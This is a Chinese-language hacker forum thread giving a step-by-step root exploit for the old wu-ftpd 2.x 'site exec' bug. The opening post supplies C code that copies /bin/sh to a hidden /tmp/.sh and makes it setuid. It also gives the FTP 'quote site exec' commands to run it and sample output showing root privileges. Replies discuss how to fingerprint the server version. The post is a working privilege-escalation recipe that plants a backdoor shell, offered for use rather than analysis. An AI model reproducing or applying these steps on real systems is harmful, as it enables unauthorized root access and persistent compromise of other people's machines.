这是在 20CN网络安全小组第一代论坛 的论坛 菜鸟乐园 中的主题 第007元素,你要的wu-ftp漏洞入侵法


要查看这个主题,请使用这个 URL:
http://www.20cn.net/cgi-bin/ubb/ultimatebb.cgi?ubb=get_topic;f=1;t=000130

NetDemon (编号: 2) 发表于 :
 
如何使用 wu-ftp 2.x (site exec bug) 来取得 root 权限

1.需求:

(1)该主机的 ftpd 使用 wu-ftp 2.x 版本

(2)您必须有该主机的任何一个帐号


2.步骤:

(1)先 telnet login 到主机您的目录下...

(2)使用 cc -o bug bug.c 将下列程序编译...

--< bug.c >-----------------------------

#include
#include
#include

main()
{
seteuid(0);
system("cp /bin/sh /tmp/.sh");
system("chmod 6777 /tmp/.sh");
}

-----------------------------------------
编译成功后会在您的目录下产生 bug 这个档案 (别忘了 chmod ...)

(3)使用 ftp login 到该主机下...

220 hackerforce FTP server (Version wu-2.4(1) Sun Jul 31 21:00:15 CDT 1997) ready.
Name (hackerforce:ftp): funky
331 Password required for funky.
Password: (password)
230 User funky logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec bash -c id" (检查系统是否能利用此 bug)
200-bash -c id
200-uid=0(root) gid=0(root) euid=101(funky) egid=50(users) groups=50(users)
200 (end of 'bash -c id') (一但出现 euid=0 就成功了)
ftp> quote "site exec bash -c /yer/home/dir/ftpbug" (执行您刚编译成功的 bug)
200-bash -c /your/home/dir/bug
200 (end of 'bash -c /your/home/dir/bug')
ftp> quit (离开 ftp)
221 Goodbye.

(4)再 telnet 进去该主机,执行 /tmp/.sh 这个 setuid root shell ...

$ id
uid=101(funky) gid=50(user)
$ /tmp/.sh

# id
uid=101(funky) gid=50(user) euid=0(root)
#

漂亮的#提示符
恭喜您...到此您就成功的拿到 root 权限了....

3.后记:
由于 wu-ftpd 执行时的 euid 是 root ,所以我们透过这个 hole 来执行执行外部的命令....
当编译完的 bug 一但被执行,便会帮您将 /bin/sh 这个 shell 复制一份到 /tmp/.sh 下,并且
会将 /tmp/.sh setuid ,一但成功後只要任何使用者执行 /tmp/.sh 这个 setuid shell 就会拥
有 root 的 euid ....

------------------
微软给了我窗户,因此UNIX给了我房子
微软给我窗户了吗?没有
所以UNIX没有给了我房子
我仍然游荡在Internet上
 


第007元素 发表于 :
 
如何知道服务器上是用的这个软件呢?

------------------
第007元素
 


NetDemon (编号: 2) 发表于 :
 
你 ftp一下不就知道了

------------------
微软给了我窗户,因此UNIX给了我房子
微软给我窗户了吗?没有
所以UNIX没有给了我房子
我仍然游荡在Internet上
 


春之律 发表于 :
 
如果管理员修改了信息呢?怎么样能更精确呢
 
xiaoy 发表于 :
 
make the program for the ftp,and use the port in the program....but I can't do it...
 
NetDemon (编号: 2) 发表于 :
 
引用:
发起人 xiaoy:
make the program for the ftp,and use the port in the program....but I can't do it...

那就是说服务器没有这个漏洞啦,2.6以上的没有

------------------
微软给了我窗户,因此UNIX给了我房子
微软给我窗户了吗?没有
所以UNIX没有给了我房子
我仍然游荡在Internet上
 






Powered by Infopop Corporation
UBB.classic™ 6.5.0
NetDemon修改版 1.5.0, 20CN网络安全小组 版权所有。